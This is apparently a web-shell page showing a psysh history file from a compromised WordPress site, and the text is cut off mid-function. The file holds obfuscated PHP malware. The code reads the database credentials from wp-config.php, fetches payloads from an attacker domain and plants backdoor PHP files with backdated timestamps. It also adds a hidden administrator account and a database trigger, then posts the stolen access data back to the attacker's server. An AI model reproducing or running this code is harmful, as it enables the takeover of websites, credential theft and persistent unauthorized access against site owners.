HEX
Server: Apache
System: Linux box5154.bluehost.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User: almiraso (1849)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home3/almiraso/public_html/igotanacre/wp-content/psysh_history
_HiStOrY_V2_
//\012define('CURRENTDIR',\040getcwd());\012define('UPLOAD_SHELL',\0401);\012define('OUT',\0402);\012define('API_PATH',\040'http://march03252.com/src/accsec.php');\012\012/**\040without\040http\040*\040*/\012define('PATH_TO_BACK_SHELL',\040'wp-top.com/greh');\012/**\040without\040http\040*\040*/\012$mzuhktytc\040=\040'http://march03252.com/src/temp/a58abf2a97198b16ea324dadacf224e4';\012\012\012$umladj\040=\040sbwaoqenb();\012\012$ncocafmghox\040=\040'wpupdate';\012$vfwnyud\040=\040dazlmwsb();\012$varoqspyr\040=\040$umladj[1];\012$ryuvjv\040=\040$vfwnyud;\012$ggsueysmjv\040=\040'';\012$bewnhkhedqr\040=\040'https://wordpress.com';\012$yjtfjffzg\040=\040hswkxgi('2019-07-09\04000:00:00',\040'2023-08-27\04000:00:00');\012$kfnnyfywzse\040=\040'';\012$kdqphuxls\040=\040'0';\012$wssrtt\040=\040$vfwnyud;\012\012\012if\040(is_null($qnobngqs\040=\040lwqkes()))\040{\012\040\040\040\040echo\040'invalid\040detect\040wp\040root\040dir';\012\040\040\040\040exit;\012}\012\012\012if\040(!function_exists('file_put_contents'))\040{\012\012\040\040\040\040function\040file_put_contents($wmyfrae,\040$tbwizvsrgtn)\040{\012\040\040\040\040\040\040\040\040$vynhph\040=\040@fopen($wmyfrae,\040'w');\012\040\040\040\040\040\040\040\040if\040(!$vynhph)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$rplxkjstuxg\040=\040fwrite($vynhph,\040$tbwizvsrgtn);\012\040\040\040\040\040\040\040\040\040\040\040\040fclose($vynhph);\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$rplxkjstuxg;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012}\012\012$sxpoez\040=\040array();\012\012\012if\040(!file_exists($fbfqvcft\040=\040$qnobngqs\040.\040'/wp-config.php'))\040{\012\040\040\040\040echo\040'wp-config\040not\040found';\012\040\040\040\040exit;\012}\012$ldjmipptytyk\040=\040file_get_contents($fbfqvcft);\012\012\012preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\134'\134"],\134s*[\134'\134"](.+)[\134'\134"]\134s*\134);~m",\040$ldjmipptytyk,\040$xfqbfxfe);\012preg_match("~table_prefix\134s+=\134s*[\134'\134"](.+)[\134'\134"];~",\040$ldjmipptytyk,\040$iyfhgxjkl);\012\012\012$wmtyidc\040=\040$xfqbfxfe[2][0];\012$sylyqdlvduo\040=\040$xfqbfxfe[2][1];\012$telzeaqlgyu\040=\040$xfqbfxfe[2][2];\012$cfkkqgcrtmru\040=\040$xfqbfxfe[2][3];\012$vzsudzchdp\040=\040$iyfhgxjkl[1];\012\012\012$sajjfznmr\040=\040zlxoraeur($vfwnyud,\040$varoqspyr,\040$ryuvjv,\040$ggsueysmjv,\040$bewnhkhedqr,\040$yjtfjffzg,\040$kfnnyfywzse,\040$kdqphuxls,\040$wssrtt,\040$wmtyidc,\040$vzsudzchdp);\012\012$qvunkmlicg\040=\040mysqli_connect($cfkkqgcrtmru,\040$sylyqdlvduo,\040$telzeaqlgyu,\040$wmtyidc);\012\012\012if\040(!$qvunkmlicg)\040{\012\040\040\040\040require_once($qnobngqs\040.\040'/wp-config.php');\012\012\040\040\040\040$jtwbebsiv\040=\040get_defined_constants(true);\012\012\040\040\040\040if\040(!$jtwbebsiv['user'])\040{\012\040\040\040\040\040\040\040\040throw\040new\040\134Exception("Could\040not\040connect");\012\040\040\040\040}\012\012\040\040\040\040$wmtyidc\040=\040$jtwbebsiv['user']['DB_NAME'];\012\040\040\040\040$sylyqdlvduo\040=\040$jtwbebsiv['user']['DB_USER'];\012\040\040\040\040$telzeaqlgyu\040=\040$jtwbebsiv['user']['DB_PASSWORD'];\012\040\040\040\040$cfkkqgcrtmru\040=\040$jtwbebsiv['user']['DB_HOST'];\012\040\040\040\040$vzsudzchdp\040=\040$iyfhgxjkl[1];\012\012\012\040\040\040\040$qvunkmlicg\040=\040mysqli_connect($cfkkqgcrtmru,\040$sylyqdlvduo,\040$telzeaqlgyu,\040$wmtyidc);\012}\012\012\012$fpevrlcy\040=\040$_SERVER['HTTP_HOST'];\012\012if\040(mysqli_connect_errno())\040{\012\040\040\040\040$huobwo\040=\0401;\012\040\040\040\040echo\040"Could\040not\040connect"\040.\040PHP_EOL;\012}\040else\040{\012\040\040\040\040echo\040"Connected\040successfully"\040.\040PHP_EOL;\012\012\040\040\040\040$dsneymkohn\040=\040mysqli_query($qvunkmlicg,\040"select\040*\040from\040"\040.\040$vzsudzchdp\040.\040"options\040where\040option_name\040=\040'home'\040or\040option_name\040=\040'siteurl'");\012\040\040\040\040$borfwableqjy\040=\040mysqli_fetch_row($dsneymkohn);\012\012\040\040\040\040if\040(stristr($borfwableqjy[2],\040'http')\040!==\040false)\040{\012\040\040\040\040\040\040\040\040$fpevrlcy\040=\040$borfwableqjy[2];\012\040\040\040\040}\012\012\040\040\040\040if\040(stristr($borfwableqjy[3],\040'http')\040!==\040false)\040{\012\040\040\040\040\040\040\040\040$fpevrlcy\040=\040$borfwableqjy[3];\012\040\040\040\040}\012}\012\012\012if\040(UPLOAD_SHELL\040===\0401)\040{\012\012\040\040\040\040if\040(!function_exists('curl_init'))\040{\012\040\040\040\040\040\040\040\040$xwzljgrx\040=\040vhmvrn($mzuhktytc);\012\040\040\040\040\040\040\040\040define('USE_FGC',\0401);\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$xwzljgrx\040=\040mkcahzrxg($mzuhktytc);\012\040\040\040\040}\012\012\040\040\040\040if\040(!$xwzljgrx)\040{\012\040\040\040\040\040\040\040\040echo\040'check\040sh\040domain'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040if\040($xwzljgrx[1]\040===\040403)\040{\012\040\040\040\040\040\040\040\040echo\040'firewall\040in\040action!';\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040if\040($xwzljgrx[1]\040!==\040200)\040{\012\040\040\040\040\040\040\040\040echo\040'need\040update\040script'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040$mrcefe\040=\040$xwzljgrx[0];\012\012\012\040\040\040\040$xtwcghfanxg\040=\040unserialize(base64_decode($mrcefe));\012\012\040\040\040\040$hrwrcg\040=\040array('variable',\040'function',\040'class',\040'object',\040'array',\040'string',\040'integer',\040'boolean',\040'float',\040'double',\040'character',\040'list',\040'set',\040'queue',\040'stack',\040'pointer',\040'reference',\040'constructor',\040'interface',\040'method',\040'event',\040'exception',\040'loop',\040'condition',\040'statement',\040'module',\040'package',\040'library',\040'framework',\040'compiler',\040'interpreter',\040'database',\040'sql',\040'query',\040'index',\040'table',\040'view',\040'trigger',\040'schema',\040'git',\040'repository',\040'branch',\040'merge',\040'client',\040'encryption',\040'decryption',\040'hashing',\040'session',\040'cookie',\040'json',\040'xml',\040'restful',\040'soap',\040'url',\040'http',\040'https',\040'dns',\040'firewall',\040'security',\040'ajax-response',\040'cron',\040'stream',\040'private',\040'meta',\040'wp',\040'core',\040'ajax',\040'beta',\040'alpha',\040'sample',\040'path',\040'request',\040'old',\040'info',\040'base',\040'num',\040'all',\040'stat',\040'new',\040'plain',\040'add',\040'edit',\040'live',\040'pic',\040'less',\040'more',\040'part',\040'get',\040'long',\040'call',\040'first',\040'time',\040'other');\012\012\040\040\040\040$ymvwhl\040=\040pqtnz($qnobngqs\040.\040'/wp-admin',\0403);\012\040\040\040\040$gprlthik\040=\040pqtnz($qnobngqs\040.\040'/wp-content/plugins',\0403);\012\040\040\040\040$kajidzzzavw\040=\040pqtnz($qnobngqs\040.\040'/wp-includes',\0403);\012\040\040\040\040$yinupnhwpog\040=\040pqtnz($qnobngqs\040.\040'/wp-content/themes',\0403);\012\040\040\040\040$kbbhkoo\040=\040array_merge($ymvwhl,\040$gprlthik,\040$kajidzzzavw,\040$yinupnhwpog);\012\040\040\040\040$nohuboc\040=\040count($hrwrcg);\012\012\012\040\040\040\040$jpkreigv\040=\040$qnobngqs\040.\040'/wp-config-sample.php';\012\040\040\040\040$kgjvwiqichnm\040=\040$xtwcghfanxg['wp-config-sample.php?config'];\012\040\040\040\040$jahtkkypbel\040=\040$hrwrcg[rand(0,\040$nohuboc\040-\0401)]\040.\040bupvbin(rand(3,\0406));\012\040\040\040\040$pbzmlexh\040=\040'$_GET[\134''\040.\040$jahtkkypbel\040.\040'\134']';\012\040\040\040\040$kgjvwiqichnm\040=\040str_replace('$_GET[\134'config\134']',\040$pbzmlexh,\040$kgjvwiqichnm);\012\040\040\040\040file_put_contents($jpkreigv,\040$kgjvwiqichnm);\012\040\040\040\040touch($jpkreigv,\040dzmpsr(dirname($jpkreigv)));\012\040\040\040\040$sxpoez[]\040=\040hdtqhfjo($qnobngqs,\040$jpkreigv\040.\040'?'\040.\040$jahtkkypbel,\040$fpevrlcy);\012\012\012\040\040\040\040unset($xtwcghfanxg['wp-config-sample.php?config']);\012\012\040\040\040\040if\040(empty($kbbhkoo))\040{\012\040\040\040\040\040\040\040\040echo\040'no\040directories\040to\040write'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040$bmrpmzrbxbmy\040=\040array_keys($xtwcghfanxg);\012\012\012\040\040\040\040foreach\040($kbbhkoo\040as\040$vauwxymxqm)\040{\012\012\040\040\040\040\040\040\040\040if\040(empty($bmrpmzrbxbmy))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$bmrpmzrbxbmy\040=\040array_keys($xtwcghfanxg);\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$hspktdzrtm\040=\040str_replace('.php',\040'-'\040.\040$hrwrcg[rand(0,\040$nohuboc\040-\0401)]\040.\040'.php',\040$vauwxymxqm);\012\040\040\040\040\040\040\040\040$vrqkyljkzlj\040=\040array_shift($bmrpmzrbxbmy);\012\040\040\040\040\040\040\040\040$zgowcksr\040=\040$xtwcghfanxg[$vrqkyljkzlj];\012\040\040\040\040\040\040\040\040file_put_contents($hspktdzrtm,\040$zgowcksr);\012\040\040\040\040\040\040\040\040touch($hspktdzrtm,\040dzmpsr(dirname($hspktdzrtm)));\012\040\040\040\040\040\040\040\040$xjfcmyqxhr\040=\040explode('?',\040$vrqkyljkzlj);\012\040\040\040\040\040\040\040\040$nixxkrzgt\040=\040hdtqhfjo($qnobngqs,\040$hspktdzrtm,\040$fpevrlcy);\012\040\040\040\040\040\040\040\040$sxpoez[]\040=\040(isset($xjfcmyqxhr[1]))\040?\040$nixxkrzgt\040.\040'?'\040.\040jlhrppkfi($xjfcmyqxhr[1])\040:\040$nixxkrzgt;\012\040\040\040\040}\012}\012\012function\040jlhrppkfi($xjfcmyqxhr)\040{\012\040\040\040\040if\040(defined('PATH_TO_BACK_SHELL')\040&&\040(stristr($xjfcmyqxhr,\040'example.com')\040!==\040false))\040{\012\040\040\040\040\040\040\040\040return\040str_replace('example.com',\040PATH_TO_BACK_SHELL,\040$xjfcmyqxhr);\012\040\040\040\040}\012\040\040\040\040return\040$xjfcmyqxhr;\012}\012\012if\040(!isset($huobwo))\040{\012\012\040\040\040\040$ewvjgiyo\040=\040ncdnukduy($fpevrlcy);\012\040\040\040\040$hhmedncveu\040=\040"update\040`${vzsudzchdp}options`\040set\040option_value\040=\040''\040WHERE\040`option_name`\040LIKE\040'close_comments_for_old_posts'";\012\012\040\040\040\040if\040(!mysqli_query($qvunkmlicg,\040$hhmedncveu))\040{\012\040\040\040\040\040\040\040\040echo\040'invalid\040set\040value\0400\040for\040option\040>>close_comments_value<<'\040.\040PHP_EOL;\012\040\040\040\040}\012\012\012\040\040\040\040$ixxutpexdvjq\040=\040"UPDATE\040`${vzsudzchdp}posts`\040set\040ping_status\040=\040'open'\040where\040(post_type\040\040=\040'page'\040OR\040post_type\040=\040'post')\040AND\040post_status\040=\040'publish'\040AND\040guid\040LIKE\040'%${ewvjgiyo}%'\040ORDER\040BY\040id\040LIMIT\0405";\012\040\040\040\040$uvyxnknkvkp\040=\040array();\012\012\012\040\040\040\040if\040(mysqli_query($qvunkmlicg,\040$ixxutpexdvjq))\040{\012\040\040\040\040\040\040\040\040//echo\040'posts\040ready\040to\040accept\040trackbacks'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040$jbwqvaljkj\040=\040"select\040id,\040guid,\040post_name\040from\040`${vzsudzchdp}posts`\040where\040(post_type\040\040=\040'page'\040OR\040post_type\040=\040'post')\040AND\040post_status\040=\040'publish'\040AND\040guid\040LIKE\040'%${ewvjgiyo}%'\040ORDER\040BY\040id\040LIMIT\0405";\012\040\040\040\040\040\040\040\040$koakdbr\040=\040mysqli_query($qvunkmlicg,\040$jbwqvaljkj);\012\040\040\040\040\040\040\040\040while\040($zzoxlvty\040=\040mysqli_fetch_array($koakdbr))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$uvyxnknkvkp[]\040=\040array($zzoxlvty['id'],\040$zzoxlvty['guid'],\040$zzoxlvty['post_name']);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\012\040\040\040\040//$rxzzjbvcx\040=\040"SELECT\040*\040FROM\040`${vzsudzchdp}users`\040WHERE\040`user_pass`\040=\040'$varoqspyr'";\012\040\040\040\040$rxzzjbvcx\040=\040"SELECT\040*\040FROM\040`${vzsudzchdp}users`\040WHERE\040`user_login`\040=\040'$vfwnyud'\040order\040by\040id\040desc\040limit\0401";\012\040\040\040\040$sabitwro\040=\040"SELECT\040*\040FROM\040`${vzsudzchdp}users`\040WHERE\040`user_login`\040=\040'$ncocafmghox'";\012\040\040\040\040$wjkzrmbokxyk\040=\040mysqli_query($qvunkmlicg,\040$rxzzjbvcx);\012\040\040\040\040$wndlnpic\040=\040mysqli_query($qvunkmlicg,\040$sabitwro);\012\012\012\040\040\040\040if\040(mysqli_num_rows($wndlnpic))\040{\012\040\040\040\040\040\040\040\040$rmfsbjlcwm\040=\040"delete\040from\040`${vzsudzchdp}users`\040WHERE\040`user_login`\040=\040'$ncocafmghox'";\012\040\040\040\040\040\040\040\040mysqli_query($qvunkmlicg,\040$rmfsbjlcwm);\012\040\040\040\040}\012\012\040\040\040\040if\040(!mysqli_num_rows($wjkzrmbokxyk))\040{\012\040\040\040\040\040\040\040\040$paxofgy\040=\040mysqli_query($qvunkmlicg,\040"SELECT\040ID\040from\040`"\040.\040$wmtyidc\040.\040"`.`"\040.\040$vzsudzchdp\040.\040"users`\040ORDER\040BY\040`ID`\040DESC\040LIMIT\0401");\012\040\040\040\040\040\040\040\040$nvarnyznz\040=\040mysqli_fetch_row($paxofgy);\012\040\040\040\040\040\040\040\040$hbmzzqgfn\040=\040(int)++$nvarnyznz[0];\012\012\040\040\040\040\040\040\040\040mysqli_query($qvunkmlicg,\040"INSERT\040INTO\040`"\040.\040$wmtyidc\040.\040"`.`"\040.\040$vzsudzchdp\040.\040"users`\040(`ID`,\040`user_login`,\040`user_pass`,\040`user_nicename`,\040`user_email`,\040`user_url`,\040`user_registered`,\040`user_activation_key`,\040`user_status`,\040`display_name`)\040VALUES\040('$hbmzzqgfn',\040'$vfwnyud',\040'$varoqspyr',\040'$ryuvjv',\040'$ggsueysmjv',\040'$bewnhkhedqr',\040'$yjtfjffzg',\040'$kfnnyfywzse',\040'$kdqphuxls',\040'$wssrtt')");\012\040\040\040\040\040\040\040\040mysqli_query($qvunkmlicg,\040"INSERT\040INTO\040`"\040.\040$wmtyidc\040.\040"`.`"\040.\040$vzsudzchdp\040.\040"usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040$hbmzzqgfn,\040'"\040.\040$vzsudzchdp\040.\040"capabilities',\040'a:1:{s:13:\134"administrator\134";s:1:\134"1\134";}')");\012\040\040\040\040\040\040\040\040mysqli_query($qvunkmlicg,\040"INSERT\040INTO\040`"\040.\040$wmtyidc\040.\040"`.`"\040.\040$vzsudzchdp\040.\040"usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040$hbmzzqgfn,\040'"\040.\040$vzsudzchdp\040.\040"user_level',\040'10')");\012\012\040\040\040\040\040\040\040\040//echo\040$fpevrlcy\040.\040"\040admin\040inserted"\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040echo\040sprintf('%s\040admin\040inserted\040%s::%s',\040$fpevrlcy,\040$vfwnyud,\040$umladj[0])\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040$cajegkdpttt\040=\0401;\012\012\012\040\040\040\040\040\040\040\040mysqli_query($qvunkmlicg,\040"DROP\040TRIGGER\040IF\040EXISTS\040`after_insert_comment`");\012\040\040\040\040\040\040\040\040try\040{\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(mysqli_query($qvunkmlicg,\040$sajjfznmr))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040'trigger\040created'\040.\040str_repeat(PHP_EOL,\0403);\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040}\040catch\040(\134Exception\040$ocjqmngdjygb)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040$ocjqmngdjygb->getMessage()\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040}\040else\040{\012\012\012\040\040\040\040\040\040\040\040while\040($jkwxijlwsias\040=\040mysqli_fetch_array($wjkzrmbokxyk))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$hpmwvqicvvem\040=\040$jkwxijlwsias['user_pass'];\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$zrojhb\040=\040"SHOW\040TRIGGERS";\012\040\040\040\040\040\040\040\040$vogvubwxuulm\040=\040mysqli_query($qvunkmlicg,\040$zrojhb);\012\012\040\040\040\040\040\040\040\040if\040($vogvubwxuulm)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040while\040($ycixstzv\040=\040mysqli_fetch_array($vogvubwxuulm))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($ycixstzv['Trigger']\040===\040'after_insert_comment')\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(strpos($ycixstzv['Statement'],\040$hpmwvqicvvem)\040!==\040false)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'hash\040and\040trigger\040matched!';\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'not\040matched\040need\040drop\040trigger';\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040mysqli_query($qvunkmlicg,\040"DROP\040TRIGGER\040IF\040EXISTS\040`after_insert_comment`");\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$sajjfznmr\040=\040zlxoraeur($vfwnyud,\040$hpmwvqicvvem,\040$ryuvjv,\040$ggsueysmjv,\040$bewnhkhedqr,\040$yjtfjffzg,\040$kfnnyfywzse,\040$kdqphuxls,\040$wssrtt,\040$wmtyidc,\040$vzsudzchdp);\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(mysqli_query($qvunkmlicg,\040$sajjfznmr))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040'trigger\040created'\040.\040str_repeat(PHP_EOL,\0403);\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(\134Exception\040$ocjqmngdjygb)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040$ocjqmngdjygb->getMessage()\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040echo\040$fpevrlcy\040.\040'\040admin\040exists'\040.\040PHP_EOL;\012\040\040\040\040}\012\012\012\040\040\040\040mysqli_close($qvunkmlicg);\012}\012\012echo\040implode("\134n",\040$sxpoez)\040.\040"\134n";\012\012$sxpoez['host']\040=\040$fpevrlcy;\012if\040(!empty($uvyxnknkvkp))\040{\012\040\040\040\040$sxpoez['trackbacks']\040=\040$uvyxnknkvkp;\012}\012\012if\040(isset($cajegkdpttt))\040{\012\040\040\040\040$sxpoez['authdata']\040=\040array($vfwnyud,\040$umladj[0]);\012}\012\012$sxpoez['out']\040=\040OUT;\012\012\012$lxkydtvtr\040=\040sxijyvzkz(API_PATH,\040array('source'\040=>\040base64_encode(serialize($sxpoez)),));\012\012if\040(trim($lxkydtvtr)\040!==\040'success')\040{\012\040\040\040\040echo\040"!!!!error\040while\040sending\040data!!!!"\040.\040PHP_EOL;\012\040\040\040\040exit;\012}\012\012\012echo\040str_repeat('_',\040400)\040.\040"\134n";\012\012function\040lwqkes()\040{\012\012\040\040\040\040if\040(file_exists(CURRENTDIR\040.\040'/wp-config.php'))\040{\012\040\040\040\040\040\040\040\040return\040CURRENTDIR;\012\040\040\040\040}\012\040\040\040\040$agimgtorxio\040=\040preg_replace('~\134/(wp-admin|wp-includes|wp-content).*$~',\040'',\040CURRENTDIR);\012\012\012\040\040\040\040if\040(file_exists($agimgtorxio\040.\040'/wp-config.php'))\040{\012\040\040\040\040\040\040\040\040return\040$agimgtorxio;\012\040\040\040\040}\012\012\040\040\040\040return\040null;\012}\012\012function\040vhmvrn($nixxkrzgt)\040{\012\040\040\040\040$apqtboruva\040=\040stream_context_create(array('http'\040=>\040array('ignore_errors'\040=>\040true)));\012\040\040\040\040$tbwizvsrgtn\040=\040@file_get_contents($nixxkrzgt,\040false,\040$apqtboruva);\012\040\040\040\040if\040($tbwizvsrgtn\040===\040false)\040{\012\040\040\040\040\040\040\040\040$enznkznnnoi\040=\040error_get_last();\012\040\040\040\040\040\040\040\040//echo\040"HTTP\040request\040failed.\040Error\040was:\040"\040.\040$enznkznnnoi['message'];\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$vxeuwjhogf\040=\040null;\012\040\040\040\040\040\040\040\040if\040(!empty($rjzziiunow)\040&&\040isset($rjzziiunow[0]))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040preg_match('{HTTP\134/\134S*\134s(\134d{3})}',\040$rjzziiunow[0],\040$yxzsgbkmbx);\012\040\040\040\040\040\040\040\040\040\040\040\040$vxeuwjhogf\040=\040intval($yxzsgbkmbx[1]);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040return\040array($tbwizvsrgtn,\040$vxeuwjhogf);\012\040\040\040\040}\012\012}\012\012function\040mkcahzrxg($nixxkrzgt)\040{\012\040\040\040\040$dgwdpx\040=\040curl_init();\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_URL,\040$nixxkrzgt);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_HEADER,\0400);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_RETURNTRANSFER,\0401);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_TIMEOUT,\04010);\012\040\040\040\040$tbwizvsrgtn\040=\040curl_exec($dgwdpx);\012\012\040\040\040\040if\040(!$tbwizvsrgtn)\040{\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\012\012\040\040\040\040$oizsqms\040=\040curl_getinfo($dgwdpx,\040CURLINFO_HTTP_CODE);\012\012\040\040\040\040curl_close($dgwdpx);\012\040\040\040\040return\040array($tbwizvsrgtn,\040$oizsqms);\012}\012\012function\040sxijyvzkz($nixxkrzgt,\040$tbwizvsrgtn)\040{\012\040\040\040\040if\040(defined('USE_FGC'))\040{\012\040\040\040\040\040\040\040\040return\040yrblzjous($nixxkrzgt,\040$tbwizvsrgtn);\012\040\040\040\040}\012\040\040\040\040return\040extbigznd($nixxkrzgt,\040$tbwizvsrgtn);\012}\012\012function\040yrblzjous($nixxkrzgt,\040$tbwizvsrgtn)\040{\012\040\040\040\040$iroxtzr\040=\040http_build_query($tbwizvsrgtn);\012\012\040\040\040\040$vwdmikza\040=\040array(\012\040\040\040\040\040\040\040\040'http'\040=>\040array(\012\040\040\040\040\040\040\040\040\040\040\040\040'method'\040=>\040'POST',\012\040\040\040\040\040\040\040\040\040\040\040\040'header'\040=>\040'Content-Type:\040application/x-www-form-urlencoded',\012\040\040\040\040\040\040\040\040\040\040\040\040'content'\040=>\040$iroxtzr,\012\040\040\040\040\040\040\040\040\040\040\040\040'timeout'\040=>\04010,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040\040\040\040\040"ssl"\040=>\040array(\012\040\040\040\040\040\040\040\040\040\040\040\040"verify_peer"\040=>\040false,\012\040\040\040\040\040\040\040\040\040\040\040\040"verify_peer_name"\040=>\040false,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040);\012\012\040\040\040\040$apqtboruva\040=\040stream_context_create($vwdmikza);\012\040\040\040\040$qqtlwzr\040=\040@file_get_contents($nixxkrzgt,\040false,\040$apqtboruva);\012\040\040\040\040$vxeuwjhogf\040=\040null;\012\040\040\040\040if\040(isset($rjzziiunow[0]))\040{\012\040\040\040\040\040\040\040\040preg_match('{HTTP\134/\134S*\134s(\134d{3})}',\040$rjzziiunow[0],\040$yxzsgbkmbx);\012\040\040\040\040\040\040\040\040$vxeuwjhogf\040=\040intval($yxzsgbkmbx[1]);\012\040\040\040\040}\012\012\012\040\040\040\040return\040($vxeuwjhogf\040===\040200)\040?\040trim($qqtlwzr)\040:\040null;\012}\012\012function\040extbigznd($nixxkrzgt,\040$tbwizvsrgtn)\040{\012\012\040\040\040\040$dgwdpx\040=\040curl_init();\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_URL,\040$nixxkrzgt);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_RETURNTRANSFER,\040true);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_TIMEOUT,\04010);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_POST,\040true);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_POSTFIELDS,\040$tbwizvsrgtn);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_SSL_VERIFYHOST,\0400);\012\040\040\040\040curl_setopt($dgwdpx,\040CURLOPT_SSL_VERIFYPEER,\0400);\012\012\040\040\040\040$qqtlwzr\040=\040curl_exec($dgwdpx);\012\040\040\040\040$nhwncsjdln\040=\040curl_getinfo($dgwdpx);\012\040\040\040\040curl_close($dgwdpx);\012\012\040\040\040\040return\040($nhwncsjdln["http_code"]\040==\040200)\040?\040trim($qqtlwzr)\040:\040null;\012}\012\012function\040dzmpsr($xmmpim)\040{\012\012\040\040\040\040foreach\040(glob($xmmpim\040.\040"/*php")\040as\040$cdfcfcti)\040{\012\040\040\040\040\040\040\040\040$dorfyuilhphx[]\040=\040filemtime($cdfcfcti);\012\040\040\040\040}\012\040\040\040\040$zvwpkbpuehfc\040=\040array_count_values($dorfyuilhphx);\012\040\040\040\040arsort($zvwpkbpuehfc);\012\040\040\040\040$bmrpmzrbxbmy\040=\040array_keys($zvwpkbpuehfc);\012\040\040\040\040return\040array_shift($bmrpmzrbxbmy);\012}\012\012function\040hdtqhfjo($utmwyupscyfi,\040$hspktdzrtm,\040$ewvjgiyo\040=\040null)\040{\012\012\040\040\040\040$ewvjgiyo\040=\040!$ewvjgiyo\040?\040'http://'\040.\040$_SERVER['HTTP_HOST']\040:\040$ewvjgiyo;\012\040\040\040\040$crnwhiduhp\040=\040str_replace($utmwyupscyfi,\040'',\040$hspktdzrtm);\012\012\040\040\040\040return\040rtrim($ewvjgiyo,\040'/')\040.\040DIRECTORY_SEPARATOR\040.\040ltrim($crnwhiduhp,\040'/');\012}\012\012function\040mokcjjg($ejfauhzfa,\040$wmqcajsi\040=\0401)\040{\012\040\040\040\040if\040(!is_dir($ejfauhzfa))\040{\012\040\040\040\040\040\040\040\040return;\012\040\040\040\040}\012\012\040\040\040\040$dlvjsc\040=\040realpath($ejfauhzfa);\012\012\012\040\040\040\040$rsktttek\040=\040new\040RecursiveIteratorIterator(new\0